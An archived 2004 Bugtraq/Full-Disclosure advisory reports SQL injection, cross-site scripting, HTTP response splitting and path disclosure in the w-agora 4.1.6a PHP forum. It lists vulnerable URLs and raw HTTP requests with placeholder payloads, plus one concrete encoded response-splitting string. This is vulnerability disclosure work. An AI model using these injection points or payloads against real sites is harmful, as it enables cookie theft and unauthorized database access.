bugtraq - Multiple vulnerabilities in w-agora forum

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <044101c4a72b$ef0e2350$0d8cfda7@rfets.gov>
Date: Thu, 30 Sep 2004 14:27:40 -0600
From: "Alexander Antipov" <antipov@...urityLab.ru>
To: <full-disclosure@...ts.netsys.com>
Cc: <bugtraq@...urityfocus.com>
Subject: Multiple vulnerabilities in w-agora  forum

http://www.maxpatrol.com/mp_advisory.asp

Title: Multiple vulnerabilities in w-agora  forum
Date: 28.09.04
Severity: Medium
Application: w-agora 4.1.6a, http://www.w-agora/en/download.php
Platform: PHP

 I. DESCRIPTION

 Multiple vulnerabilities were found in w-agora forum. A remote user 
 can conduct SQL injection attack, HTTP response splitting and Cross
site 
 Scripting attack.

 1. SQL injection

redir_url.php?bn=demos_links&key=[SQL]

 2. XSS in GET:

download_thread.php?site=support&bn=support_install&thread=[XSS 
 code here]

 3. XSS in POST:

 POST /login.php HTTP/1.1
 Host: w-agora
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 89
 loginform=1&redirect_url=1&loginuser=[XSS code here]&loginpassword=1

  POST /forgot_password.php HTTP/1.1
 Host: w-agora
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 48
 go=1&userid=[XSS code here]

 4. HTTP response splitting

/subscribe_thread.php?site=support&bn=support_in

stall&thread=%0d%0aContent-Length:%200%0d%0a%0d%0a%20200%20OK%0d%0aConte
nt-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScan
ned%20by%20PTsecurity%3c/html%3e%0d%0a

5. Path discourse
/list.php?bn=support_install&last=19&collapse=|id|

II. IMPACT

----------
A remote user can access the target user's cookies (including
authentication cookies).   
A remote user can cause SQL commands to be executed by the underlying
database.

III. SOLUTION

-------------
Yes

IV. VENDOR FIX/RESPONSE

-----------------------

Yes, Fixed in CVS : subscribe_thread.php3,v 1.17, forgot_password.php3
v1.17, include/auth.php v1.45, list.php3 v1.53, 

 V. CREDIT

-------------

 This vulnerability was discovered by Positive Technologies using
MaxPatrol (www.maxpatrol.com) - intellectual professional security
scanner. It is able to detect a substantial amount of vulnerabilities
not published yet. MaxPatrol's intelligent algorithms are also capable
to detect a lot of vulnerabilities in custom web-scripts (XSS, SQL and
code injections, HTTP Response splitting and other).

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html